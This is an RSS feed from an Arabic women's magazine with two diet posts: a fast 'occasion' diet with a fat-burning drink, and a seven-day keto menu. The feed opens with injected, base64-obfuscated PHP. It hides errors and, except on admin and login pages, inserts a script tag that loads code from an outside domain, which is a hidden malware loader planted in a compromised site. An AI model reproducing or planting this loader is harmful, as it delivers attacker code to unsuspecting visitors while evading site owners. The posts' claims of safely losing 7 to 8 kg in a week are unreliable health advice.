eval(base64_decode("aW5pX3NldCgiZGlzcGxheV9lcnJvcnMiLCAwKTsKaW5pX3NldCgiZGlzcGxheV9zdGFydHVwX2Vycm9ycyIsIDApOwoKaWYgKFBIUF9TQVBJICE9PSAiY2xpIiAmJiAoCiAgICBzdHJwb3MoQCRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdLCAiL3dwLWFkbWluL2FkbWluLWFqYXgucGhwIikgPT09IGZhbHNlICYmCiAgICBzdHJwb3MoQCRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdLCAiL3dwLWpzb24iKSA9PT0gZmFsc2UgJiYKICAgIHN0cnBvcyhAJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl0sICIvd3AvdjIiKSA9PT0gZmFsc2UgJiYKICAgIHN0cnBvcyhAJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl0sICIvd3AtYWRtaW4iKSA9PT0gZmFsc2UgJiYKICAgIHN0cnBvcyhAJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl0sICIvd3AtbG9naW4ucGhwIikgPT09IGZhbHNlICYmCiAgICBzdHJ0b2xvd2VyKEAkX1NFUlZFUlsiSFRUUF9YX1JFUVVFU1RFRF9XSVRIIl0pICE9PSAieG1saHR0cHJlcXVlc3QiCikpIHsKICAgIHByaW50KGJhc2U2NF9kZWNvZGUoIlBITmpjbWx3ZENCemNtTTlJaTh2WVdzdVlXdGhiVFl3T0RBd0xtNWxkQzhpUGp3dmMyTnlhWEIwUGc9PSIpKTsKfQ==")); 
<script src="//ak.akam60800.net/"></script><?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>جوزال | رجيم بدون حرمان</title>
	<atom:link href="https://jouzal.com/tag/%d8%b1%d8%ac%d9%8a%d9%85-%d8%a8%d8%af%d9%88%d9%86-%d8%ad%d8%b1%d9%85%d8%a7%d9%86/feed/" rel="self" type="application/rss+xml" />
	<link>https://jouzal.com</link>
	<description>مجلة نسائية عربية</description>
	<lastBuildDate>Sun, 17 Jan 2021 11:10:48 +0000</lastBuildDate>
	<language>ar</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	

<image>
	<url>https://jouzal.com/wp-content/uploads/2021/10/جوزال-2.png</url>
	<title>جوزال | رجيم بدون حرمان</title>
	<link>https://jouzal.com</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>رجيم هنادي البدر السريع للمناسبات لفقدان 7 كيلو في اسبوع فقط بدون حرمان</title>
		<link>https://jouzal.com/%d8%b1%d8%ac%d9%8a%d9%85-%d9%87%d9%86%d8%a7%d8%af%d9%8a-%d8%a7%d9%84%d8%a8%d8%af%d8%b1-%d8%a7%d9%84%d8%b3%d8%b1%d9%8a%d8%b9-%d9%84%d9%84%d9%85%d9%86%d8%a7%d8%b3%d8%a8%d8%a7%d8%aa-%d9%84%d9%81%d9%82%d8/</link>
		
		<dc:creator><![CDATA[فاطمة عبد الحميد]]></dc:creator>
		<pubDate>Sat, 27 Jun 2020 17:58:41 +0000</pubDate>
				<category><![CDATA[تخسيس و رشاقة]]></category>
		<category><![CDATA[رجيم و حمية غذائية]]></category>
		<category><![CDATA[لايف ستايل]]></category>
		<category><![CDATA[#رجيم المناسبات هنادي البدر]]></category>
		<category><![CDATA[اسرع رجيم للمناسبات]]></category>
		<category><![CDATA[انقاص 7 كيلو]]></category>
		<category><![CDATA[تخسيس 7 كيلو]]></category>
		<category><![CDATA[خسارة 7 كيلو]]></category>
		<category><![CDATA[دايت المناسبات]]></category>
		<category><![CDATA[دايت هنادي البدر]]></category>
		<category><![CDATA[رجيم بدون حرمان]]></category>
		<category><![CDATA[رجيم سريع]]></category>
		<category><![CDATA[رجيم سريع للمناسبات]]></category>
		<category><![CDATA[رجيم في اسبوع]]></category>
		<category><![CDATA[رجيم قاسي للمناسبات]]></category>
		<category><![CDATA[رجيم نيومي]]></category>
		<category><![CDATA[رجيم هنادي البدر]]></category>
		<category><![CDATA[رجيم هنادي البدر السريع]]></category>
		<category><![CDATA[رجيم هنادي البدر للمناسبات]]></category>
		<category><![CDATA[مشروب لحرق الدهون]]></category>
		<category><![CDATA[مشروبات للتخسيس]]></category>
		<category><![CDATA[نظام نيومي للمناسبات]]></category>
		<category><![CDATA[هنادي البدر]]></category>
		<guid isPermaLink="false">https://jouzal.com/?p=4542</guid>

					<description><![CDATA[رجيم هنادي البدر السريع للمناسبات.. يرغب العديد من الأشخاص في فقدان المزيد من الكيلوجرامات الزائدة، عند حلول مناسبة ما، للظهور بجسم رشيق متناسق، وغالباً مايبحثون عن حمية غذائية لخسارة الوزن في وقت قياسي وبشكل آمن وصحي. رجيم هنادي البدر للمناسبات قد تصادفنا مناسبات طارئة مثل حفل الزفاف أو حفل خاص نسعى فيه لخسارة بعض الكيلوغرامات [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>رجيم هنادي البدر السريع للمناسبات.. يرغب العديد من الأشخاص في فقدان المزيد من الكيلوجرامات الزائدة، عند حلول مناسبة ما، للظهور بجسم رشيق متناسق، وغالباً مايبحثون عن حمية غذائية لخسارة الوزن في وقت قياسي وبشكل آمن وصحي.</p>
<h2>رجيم هنادي البدر للمناسبات</h2>
<p>قد تصادفنا مناسبات طارئة مثل حفل الزفاف أو حفل خاص نسعى فيه لخسارة بعض الكيلوغرامات بشكل صحي وسريع. يمكنك استخدام جدول رجيم دكتورة هنادي البدر للمناسبات لمدة اسبوع نظراً لسرعته في خسارة الوزن.</p>
<ul>
<li>وجبة الإفطار: شريحة توست مع ثلاث معالق لبنة، أو شريحتين من الجبن مع الطماطم والخيار.</li>
<li>وجبة خفيفة: ثمرة تفاح، أو كيوي.</li>
<li>وجبة الغذاء: حساء الخضروات مع صدرين دجاج، او علبة تونة، أو 2 برجر لحم، أو جبن.</li>
<li>وجبة خفيفة: خمسة تمرات. وجبة العشاء: ثمرتين من الفاكهة وسلطة.</li>
</ul>
<p><strong><span style="color: #003300;">شاهد ايضاً:</span> <a href="https://jouzal.com/%d8%b1%d8%ac%d9%8a%d9%85-%d9%87%d9%86%d8%a7%d8%af%d9%8a-%d8%a7%d9%84%d8%a8%d8%af%d8%b1-%d9%86%d9%8a%d9%88-%d9%85%d9%8a-%d9%84%d8%ae%d8%b3%d8%a7%d8%b1%d8%a9-10-%d9%83%d9%8a%d9%84%d9%88-%d9%81%d9%8a-%d8%a7%d8%b3%d8%a8%d9%88%d8%b9%d9%8a%d9%86-%d8%a8%d8%af%d9%88%d9%86-%d8%ac%d9%88%d8%b9-%d8%a7%d9%88-%d8%ad%d8%b1%d9%85%d8%a7%d9%86-2020/">رجيم هنادي البدر نيو مي لخسارة 10 كيلو في اسبوعين بدون جوع او حرمان 2020</a></strong></p>
<h2>مشروب للتخسيس وحرق الدهون</h2>
<p>هذا المشروب يساعد جدا علي حرق الدهون ويعطي طاقة ونشاط، وتعد جميع مكوناته مفيدة جداً، وعند والمداومة عليه يعطي نتيجة ممتازه.</p>
<p><span style="color: #008000;"><strong> المقادير</strong></span></p>
<ul>
<li>1 كوب حليب.</li>
<li>1 ملعقه صغيره شاي ناعم.</li>
<li>1/2ملعقه صغيره قرفه مطحونه.</li>
<li>1/2ملعقه صغيره زنجبيل مطحون.</li>
<li>3 حبات حبهان ( هيل).</li>
<li>3حبات قرنفل.</li>
<li>1/4 ملعقه صغيره فلفل اسود ناعم.</li>
</ul>
<p><span style="color: #993366;"><strong> الطريقة</strong></span></p>
<ol>
<li>تخلط جميع المكونات.</li>
<li>توضع علي النار حتي يغلي.</li>
<li>ثم يترك المشروب ليهدأ قليلا.</li>
<li>يصفي ويشرب حوالي 3:4 مرات في اليوم.</li>
</ol>
<p><strong>يهمك ايضاً: <a href="https://jouzal.com/%d8%b1%d8%ac%d9%8a%d9%85-%d9%86%d9%8a%d9%88%d9%85%d9%8a-%d9%84%d8%a3%d9%88%d8%b2%d8%a7%d9%86-%d9%81%d9%88%d9%82-90-%d9%88-110-%d9%83%d9%8a%d9%84%d9%88-%d8%af%d8%a7%d9%8a%d8%aa-%d9%87%d9%86%d8%a7%d8%af%d9%8a-%d8%a7%d9%84%d8%a8%d8%af%d8%b1-%d9%82%d8%a7%d8%b3%d9%8a-%d9%88%d8%b3%d8%b1%d9%8a%d8%b9-2021/">رجيم نيومي لأوزان فوق 90 و 110 كيلو دايت هنادي البدر قاسي وسريع 2021</a></strong></p>
<h2>رجيم هنادي البدر السريع</h2>
<ul>
<li><span style="color: #ff0000;"><strong>وجبة الإفطار</strong></span> اليوم الأول: بيضة مسلوقة مع الخضروات.</li>
<li>اليوم الثاني: الفاكهة المفضلة.</li>
<li>اليوم الثالث: خمسة تمرات.</li>
<li>اليوم الرابع: شريحة توست مع الخضروات ملعقتين من اللبنة.</li>
<li>اليوم الخامس: الفاكهة حسب الرغبة.</li>
<li>اليوم السادس: ثمرتين من الفاكهة.</li>
<li>اليوم السابع: خمسة تمرات.</li>
<li>وجبة خفيفة: خس، أو جرجير.</li>
<li><span style="color: #00ff00;"><strong> وجبة الغذاء</strong></span> اليوم الأول: نصف دجاجة مشوية مع سلطة.</li>
<li>اليوم الثاني: قطعتين من البرجر مع الحساء.</li>
<li>اليوم الثالث: 8 قطع من الشيش طاووق والتبولة.</li>
<li>اليوم الرابع: نصف دجاجة مشوية مع سلطة.</li>
<li>اليوم الخامس: تونة مع سلطة.</li>
<li>اليوم السادس: نصف دجاجة مع الحمص.</li>
<li>اليوم السابع: تونة وسلطة.</li>
<li>وجبة خفيفة: ثلاثة تمرات مع فاكهة.</li>
<li><span style="color: #ff00ff;"><strong>وجبة العشاء</strong></span>: حساء الخضروات، أو العدس، أو البروكلي، أو التبولة، أو خمس قطع من الشيش طاووق.</li>
</ul>
<p><iframe title="الحل النهائي لمشكلة خمول الغدة الدرقية مع التخسيس وصفة + رجيم لحرق دهون 32 كيلو" width="1080" height="608" src="https://www.youtube.com/embed/-rHbq3gkjco?feature=oembed" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>رجيم الكيتو بالتفصيل لخسارة 8 كيلو في أسبوع واحد بدون حرمان</title>
		<link>https://jouzal.com/%d8%b1%d8%ac%d9%8a%d9%85-%d8%a7%d9%84%d9%83%d9%8a%d8%aa%d9%88-%d8%a8%d8%a7%d9%84%d8%aa%d9%81%d8%b5%d9%8a%d9%84-%d9%84%d8%ae%d8%b3%d8%a7%d8%b1%d8%a9-8-%d9%83%d9%8a%d9%84%d9%88-%d9%81%d9%8a-%d8%a3%d8%b3/</link>
		
		<dc:creator><![CDATA[سناء حسين]]></dc:creator>
		<pubDate>Tue, 27 Aug 2019 08:25:52 +0000</pubDate>
				<category><![CDATA[تخسيس و رشاقة]]></category>
		<category><![CDATA[رجيم و حمية غذائية]]></category>
		<category><![CDATA[اسرع رجيم]]></category>
		<category><![CDATA[اكلات نظام الكيتو دايت]]></category>
		<category><![CDATA[الكيتو دايت]]></category>
		<category><![CDATA[دايت اسبوع واحد]]></category>
		<category><![CDATA[دايت الكيتو]]></category>
		<category><![CDATA[دايت بدون حرمان]]></category>
		<category><![CDATA[دايت سريع]]></category>
		<category><![CDATA[دايت سريع المفعول]]></category>
		<category><![CDATA[دايت لانقاص 8 كيلو]]></category>
		<category><![CDATA[رجيم اسبوع واحد]]></category>
		<category><![CDATA[رجيم الانقاذ السريع]]></category>
		<category><![CDATA[رجيم الكيتو]]></category>
		<category><![CDATA[رجيم الكيتو دايت بالتفصيل]]></category>
		<category><![CDATA[رجيم الكيتو في اسبوع]]></category>
		<category><![CDATA[رجيم بدون حرمان]]></category>
		<category><![CDATA[رجيم سريع]]></category>
		<category><![CDATA[رجيم سريع المفعول]]></category>
		<category><![CDATA[ريجيم الكيتو]]></category>
		<category><![CDATA[ريجيم لفقدان 8 كيلو في اسبوع]]></category>
		<category><![CDATA[ماهو الكيتو كلاسيك]]></category>
		<category><![CDATA[نظام الكيتو]]></category>
		<category><![CDATA[نظام الكيتو الاسبوعي]]></category>
		<category><![CDATA[نظام الكيتو دايت تجارب]]></category>
		<category><![CDATA[نظام غذائى]]></category>
		<category><![CDATA[نظام غذائي صحي]]></category>
		<category><![CDATA[نظام غذائي لانقاص الوزن]]></category>
		<guid isPermaLink="false">https://jouzal.com/?p=3019</guid>

					<description><![CDATA[[highlight color=&#8221;green&#8221;]رجيم الكيتو بالتفصيل لخسارة 8 كيلو في أسبوع واحد بدون حرمان[/highlight] يعتمد رجيم الكيتو على جعل مصدر الطاقه الرئيسي للجسم هو الدهون وليس الكربوهيدرات، ففي هذا النظام يجب اتباع بعض التعليمات : يتم التوقف نهائيا عن تناول النشويات ويتم الحصول على الكربوهيدرات من خلال الخضروات الورقية وليس من النشويات. فعندما يكون مصدر الطاقة الرئيسي [&#8230;]]]></description>
										<content:encoded><![CDATA[<h3>[highlight color=&#8221;green&#8221;]رجيم الكيتو بالتفصيل لخسارة 8 كيلو في أسبوع واحد بدون حرمان[/highlight]</h3>
<p>يعتمد رجيم الكيتو على جعل مصدر الطاقه الرئيسي للجسم هو الدهون وليس الكربوهيدرات، ففي هذا النظام يجب اتباع بعض <strong>التعليمات :</strong></p>
<ul>
<li>يتم التوقف نهائيا عن تناول النشويات ويتم الحصول على الكربوهيدرات من خلال الخضروات الورقية وليس من النشويات.</li>
<li>فعندما يكون مصدر الطاقة الرئيسي هو الدهون و عند بذل اي نشاط او مجهود يستخدم الجسم مخزون الطاقة من الدهون فبتالي يتم حرقها.</li>
<li>يتم الاستغناء عن الفواكه بشكل عام عدا الفراولة والافوكادو.</li>
<li>يعتمد طهي الطعام على استخدام السمن الحيواني  مثل السمن البلدي والزبدة والابتعاد تماما عن الدهون النباتية ومنها السمن النباتي حيث يعتبر الدهن الحيواني مصدر أساسي.</li>
</ul>
<p><strong>و ينقسم نظام <a href="https://www.thaqafnafsak.com/2018/10/%D9%86%D8%B8%D8%A7%D9%85-%D8%B1%D8%AC%D9%8A%D9%85-%D8%A7%D9%84%D9%83%D9%8A%D8%AA%D9%88.html">الكيتو</a> إلى نوعين</strong> <strong>:</strong></p>
<ul>
<li><strong>الكيتو الكلاسيكي</strong></li>
<li>وهو يعتمد على البيض والبروتينات مثل السمك واللحم والدجاج والخضروات الورقية.</li>
</ul>
<p>&nbsp;</p>
<ul>
<li><strong>وصفات الكيتو</strong></li>
<li>وفيها يفضل الاشخاص التنوع في تناول الطعام حيث يتناولون أكلات أخرى إلى جانب اكلات الكيتو الكلاسيكي مثل المحشي بانواعه ولكن باستخدام اللحم المفروم بدلا من الارز</li>
</ul>
<h2>[highlight color=&#8221;pink&#8221;]محتوى ذات صلة [/highlight]</h2>
<h4 class="post-title entry-title"><a href="https://jouzal.com/%d8%a7%d9%86%d9%82%d8%a7%d8%b5-%d8%a7%d9%84%d9%88%d8%b2%d9%86-%d8%a8%d8%a7%d9%84%d8%b3%d9%85%d9%86%d8%a9-%d8%a7%d9%84%d8%a8%d9%84%d8%af%d9%8a/">انقاص الوزن بالسمنة البلدي بدون حرمان او مجهود بنظام الكيتو</a></h4>
<h4 class="post-title entry-title"><a href="https://jouzal.com/%d8%b1%d8%ac%d9%8a%d9%85-%d8%b3%d8%b1%d9%8a%d8%b9-%d9%88-%d8%b5%d8%ad%d9%8a-%d9%84%d8%ae%d8%b3%d8%a7%d8%b1%d8%a9-5-%d9%83%d9%8a%d9%84%d9%88-%d9%81%d9%8a-%d8%a7%d8%b3%d8%a8%d9%88%d8%b9-%d9%88%d8%a7/">رجيم سريع و صحي لخسارة 5 كيلو في اسبوع واحد فقط</a></h4>
<h4 class="post-title entry-title"><a href="https://jouzal.com/%d8%b1%d8%ac%d9%8a%d9%85-%d9%82%d8%a7%d8%b1%d8%a7%d8%b7%d8%a7%d9%8a-%d8%a8%d8%a7%d9%84%d8%aa%d9%81%d8%b5%d9%8a%d9%84-%d9%84%d8%ae%d8%b3%d8%a7%d8%b1%d8%a9-20-%d9%83%d9%8a%d9%84%d9%88-%d8%a8%d8%af%d9%88/">رجيم قاراطاي بالتفصيل لخسارة 20 كيلو بدون جوع او حرمان مدي الحياة</a></h4>
<div id="attachment_3021" style="width: 610px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" aria-describedby="caption-attachment-3021" class="size-full wp-image-3021" src="http://jouzal.com/wp-content/uploads/2019/08/What-Fats-To-Eat-On-The-Ketogenic-Diet-Cover-Image.jpg" alt="رجيم الكيتو لفقدان 8 كيلو في اسبوع" width="600" height="401" srcset="https://jouzal.com/wp-content/uploads/2019/08/What-Fats-To-Eat-On-The-Ketogenic-Diet-Cover-Image.jpg 600w, https://jouzal.com/wp-content/uploads/2019/08/What-Fats-To-Eat-On-The-Ketogenic-Diet-Cover-Image-300x201.jpg 300w" sizes="auto, (max-width: 600px) 100vw, 600px" /><p id="caption-attachment-3021" class="wp-caption-text">رجيم الكيتو لفقدان 8 كيلو في اسبوع</p></div>
<h3>[highlight color=&#8221;yellow&#8221;]و بترتيب الأيام يمكنك اتباع نظام الرجيم التالي :[/highlight]</h3>
<h4><strong>[highlight color=&#8221;green&#8221;]اليوم الأول :[/highlight]</strong></h4>
<ul>
<li><strong>الإفطار : </strong>بيض مخفوق بالزبدة علي طبقة من الخس مغطاه بالأفوكادو.</li>
<li><strong>وجبة خفيفة : </strong>بذور عباد الشمس.</li>
<li><strong>الغذاء : </strong>سلطة السبانخ مع سمك السلمون المشوي.</li>
<li><strong>وجبة خفيفة : </strong>شرائح من الكرفس وشرائح الفلفل.</li>
<li><strong>العشاء : </strong>قطع اللحم مع هريس القرنبيط وسلطة الكرنب الأحمر.</li>
</ul>
<h4>[highlight color=&#8221;green&#8221;]اليوم الثاني :[/highlight]</h4>
<ul>
<li><strong>الإفطار : </strong>قهوة ( مصنوعة من الزبدة وزيت جوز الهند ) ، وبيض مسلوق.</li>
<li><strong>وجبة خفيفة : </strong>مكسرات المكاديميا.</li>
<li><strong>الغذاء : </strong>سلطة التونة مع قطع الطماطم.</li>
<li><strong>وجبة خفيفة : </strong>لحم البقر المشوي وشرائح الجبن الملفوفة.</li>
<li><strong>العشاء : </strong>كرات اللحم مع معكرونة الكوسة ، مغطاة بصلصة الكريمة.</li>
</ul>
<h4>[highlight color=&#8221;green&#8221;]اليوم الثالث :[/highlight]</h4>
<ul>
<li><strong>الإفطار : </strong>الجبن والبيض المقلي بالخضار مع الصلصة.</li>
<li><strong>وجبة خفيفة : </strong>زبادي يوناني عادي  غني بالدهون.</li>
<li><strong>الغذاء : </strong>تناول سايثمي مع الحساء.</li>
<li><strong>وجبة خفيفة : </strong>عصير مصنوع من حليب اللوز ، الخضروات ، زبدة اللوز ومسحوق البرتين.</li>
<li><strong>العشاء : </strong>دجاج مشوي مع الهليون ومشروم سوتيه ( مسلوق).</li>
</ul>
<h4>[highlight color=&#8221;green&#8221;]اليوم الرابع :[/highlight]</h4>
<ul>
<li><strong>الإفطار : </strong>عصير مصنوع من حليب اللوز ، الخضروات وزبدة اللوز ومسحوق البروتين.</li>
<li><strong>وجبة خفيفة : </strong>اثنان من البيض المسلوق<strong>.</strong></li>
<li><strong>الغذاء : </strong>قطع الدجاج الخالية من الجلد التي يتم طهيها من دقيق اللوز وطبقة من الخضار مع الخيار وجبن الماعز.</li>
<li><strong>وجبة خفيفة : </strong>شرائح الجبن وشرائح الفلفل الحلو.</li>
<li><strong>العشاء : </strong>جمبري مشوي مغطي بصلصة زبدة الليمون مع القليل من الهليون.</li>
</ul>
<h4>[highlight color=&#8221;green&#8221;]اليوم الخامس :[/highlight]</h4>
<ul>
<li><strong>الإفطار : </strong>بيض مقلي مع اللحم وجزء من الخضار.</li>
<li><strong>وجبة خفيفة : </strong>القليل من الجوز مع ربع كوب من التوت.</li>
<li><strong>الغذاء : </strong>برغر بالخس ومغطي بالأفوكادو مع سلطة جانبية.</li>
<li><strong>وجبة خفيفة : </strong>قطع من الكرفس المغموسة بزبدة اللوز.</li>
<li><strong>العشاء : </strong>خبز التوفو مع الأرز والقرنبيط ، والفلفل والمغطاه مع صلصة الفول السوداني المصنوعة في المنزل.</li>
</ul>
<h4>[highlight color=&#8221;green&#8221;]اليوم السادس :[/highlight]</h4>
<ul>
<li><strong>الإفطار : </strong>بيض مخبوز في أكواب الأفوكادو.</li>
<li><strong>وجبة خفيفة : </strong>رقائق الشيبس الأخضر ( الكيل).</li>
<li><strong>الغذاء : </strong>لفائف الأفوكادو الملفوفة مع السلمون الملفوفة في الأعشاب البحرية ( يجب أن تكون خالية من الأرز ).</li>
<li><strong>وجبة خفيفة : </strong>بعض اللحوم ( الديك الرومي المدخن ).</li>
<li><strong>العشاء : </strong>لحم البقر المشوي مع الفلفل والبروكلي المسلوق علي البخار.</li>
</ul>
<h4>[highlight color=&#8221;green&#8221;]اليوم السابع :[/highlight]</h4>
<ul>
<li><strong>الإفطار : </strong>البيض المخفوق مع الخضار المغطي بالصلصة.</li>
<li><strong>وجبة خفيفة : </strong>شرائح الأعشاب البحرية المجففة والجبن.</li>
<li><strong>الغذاء : </strong>سلطة السردين المصنوعة مع المايونيز في نصف ثمرة أفوكادو.</li>
<li><strong>وجبة خفيفة : </strong>turkey jerky ( يجب عدم إضافة سكريات ).</li>
<li><strong>العشاء : </strong>سمك السلمون المشوي مع الزبدة.</li>
</ul>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>